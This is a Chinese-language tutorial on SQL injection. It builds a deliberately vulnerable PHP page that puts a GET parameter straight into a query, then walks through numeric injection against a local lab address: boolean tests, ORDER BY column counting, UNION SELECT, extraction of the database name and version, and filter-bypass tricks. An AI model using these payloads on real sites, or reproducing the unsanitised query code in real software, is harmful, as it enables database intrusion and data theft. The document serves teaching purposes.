QQ微信没有信息,游戏打的崩溃,小视频刷的很腻,听不完的网易云,熬夜也会熬到天亮,其实这个世界,真的有十级孤独。。。

----  网易云热评

一、简介

SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

 

二、产生的原因

1.程序在开发的时候没对用户的数据过滤,把用户的数据都当做可信数据。

2.过滤不严格。

3.数据库配置不当。

4.转义不当。

 

三、注入点分类

1、数字型注入:

在 Web 端大概是 http://www.aiyou.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1

2、字符型注入:

在 Web 端大概是 http://www.aiyou.com/news.php?name=aiyou 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='aiyou'。注意多了引号。组合出来的sql注入语句为:select * from news where name='admin'

3、搜索型注入:

在 Web 端大概是 http://www.aiyou.com/news.php?keyword=aiyou 这种形式,其原形大致为:select * from 表名 where 字段 like '%aiyou%',组合出来的sql注入语句为:select * from news where search like '%aiyou %'

 

四、数字型实例

1、新建一个根据id查询专辑的php页面

  •  
<meta charset="utf-8"><?phpinclude("connect.php");//连接数据库if(isset($_GET['id'])){    $id=$_GET['id'];    $sql="SELECT * FROM zhuanji WHERE id=$id LIMIT 0,1";    $result=mysql_query($sql);    $row = mysql_fetch_array($result);    if($row)    {      echo '专辑名称:'. $row['name'];      echo "";      echo '发行时间:' .$row['year'];    echo "";    echo '主 打 歌:' .$row['zhudage'];      }    else    {    print_r(mysql_error());    }}    else        {             echo "网址错误";        }?>

2、访问:http://192.168.1.129/php/szx.php?id=1

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

3、测试注入是否存在

http://192.168.1.129/php/szx.php?id=1 and 1=1 返回正常

http://192.168.1.129/php/szx.php?id=1 and 1=2 返回错误

存在注入

4、判断该表的列数

http://192.168.1.129/php/szx.php?id=1 order by 5 返回错误

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

http://192.168.1.129/php/szx.php?id=1 order by 4 返回正常

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

该表有4列

5、联合查询

http://192.168.1.129/php/szx.php?id=-1 union select 1,2,3,4

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

6、获取数据库名称和mysql版本号

http://192.168.1.129/php/szx.php?id=-1 union select 1,database(),version(),4

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

五、mysql5.0以上版本的特性:

默认定义information_schema数据库,里面具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)

在schemata表中,schema_name字段用来存储数据库名

在tables表中,table_schema和table_name分别用来存储数据库名和表名。

在columns表中,tabel_schema存储数据库名,table_name存储表名,column_name存储字段名

注意:

1、Mysql中的大小写不敏感,大小写一样

2、Mysql中的十六进制与URL编码都可以识别。

3、符号和关键字替换 and--&& or--||,and优先级高于or

4、内联注释 /*!内联注释*/ ,/*!/*!*/是等效于/*!*/的

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=